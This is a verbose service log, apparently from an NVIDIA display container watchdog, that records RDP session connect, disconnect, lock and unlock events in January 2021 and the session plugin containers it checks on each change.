#1(I)[2021-01-08 23:32:08,070]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#2(I)[2021-01-08 23:32:08,070]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#3(I)[2021-01-08 23:32:08,070]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-08 23:32:08,164]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-08 23:32:08,289]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#27'
#6(I)[2021-01-08 23:32:08,289]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#27'
#7(D)[2021-01-08 23:32:08,289]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-08 23:32:08,289]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-08 23:32:08,289]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-08 23:32:08,289]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-08 23:32:08,289]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-08 23:32:08,289]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-08 23:32:08,289]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-08 23:32:08,289]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-08 23:32:08,289]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-08 23:32:08,289]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-08 23:32:08,289]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-08 23:32:08,289]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-08 23:32:08,289]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-08 23:32:08,289]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-08 23:32:08,289]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-08 23:32:08,289]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-08 23:32:08,289]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-08 23:32:08,289]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-08 23:32:08,304]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-08 23:32:08,304]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-08 23:32:08,304]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-08 23:32:08,304]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-08 23:32:08,304]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-08 23:32:08,304]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-08 23:32:08,304]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-08 23:32:08,304]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-08 23:32:08,398]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-08 23:32:08,398]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-09 01:08:19,974]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-09 01:08:19,974]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-09 01:08:20,053]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-09 01:08:20,053]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-11 18:29:14,410]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-11 18:29:14,410]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-11 18:29:14,410]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2021-01-11 18:29:14,410]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2021-01-11 18:29:14,410]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2021-01-11 18:29:14,441]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-11 18:29:14,535]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#29'
#6(I)[2021-01-11 18:29:14,535]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#29'
#7(D)[2021-01-11 18:29:14,535]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-11 18:29:14,535]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-11 18:29:14,535]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-11 18:29:14,535]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-11 18:29:14,535]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-11 18:29:14,535]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-11 18:29:14,535]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-11 18:29:14,535]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-11 18:29:14,535]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-11 18:29:14,535]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-11 18:29:14,535]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-11 18:29:14,551]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-11 18:29:14,566]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#29'
#6(I)[2021-01-11 18:29:14,566]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#29'
#7(D)[2021-01-11 18:29:14,566]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-11 18:29:14,566]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-11 18:29:14,566]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-11 18:29:14,566]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-11 18:29:14,566]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-11 18:29:14,566]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-11 18:29:14,566]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-11 18:29:14,566]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-11 18:29:14,566]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-11 18:29:14,566]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-11 18:29:14,566]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-11 18:29:14,582]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-11 18:29:14,582]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-11 18:29:14,582]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-11 18:29:14,582]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-11 18:29:14,754]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-11 18:29:14,754]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-11 21:52:08,275]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-11 21:52:08,275]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-11 21:52:08,368]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-11 21:52:08,368]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-11 23:42:03,847]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-11 23:42:03,847]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-11 23:42:03,847]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2021-01-11 23:42:03,847]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2021-01-11 23:42:03,847]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2021-01-11 23:42:03,878]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-11 23:42:03,956]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#31'
#6(I)[2021-01-11 23:42:03,956]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#31'
#7(D)[2021-01-11 23:42:03,956]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-11 23:42:03,956]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-11 23:42:03,956]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-11 23:42:03,956]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-11 23:42:03,956]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-11 23:42:03,956]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-11 23:42:03,956]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-11 23:42:03,956]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-11 23:42:03,956]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-11 23:42:03,956]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-11 23:42:03,956]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-11 23:42:03,972]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-11 23:42:04,019]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#31'
#6(I)[2021-01-11 23:42:04,019]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#31'
#7(D)[2021-01-11 23:42:04,019]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-11 23:42:04,019]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-11 23:42:04,019]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-11 23:42:04,019]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-11 23:42:04,019]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-11 23:42:04,019]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-11 23:42:04,019]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-11 23:42:04,019]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-11 23:42:04,019]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-11 23:42:04,019]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-11 23:42:04,253]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-11 23:42:04,253]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-12 04:41:09,825]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-12 04:41:09,825]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-12 04:41:09,903]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-12 04:41:09,903]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-12 04:44:11,524]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-12 04:44:11,524]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-12 04:44:11,524]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#2(I)[2021-01-12 04:44:11,524]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#3(I)[2021-01-12 04:44:11,524]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-12 04:44:11,540]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-12 04:44:11,587]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#33'
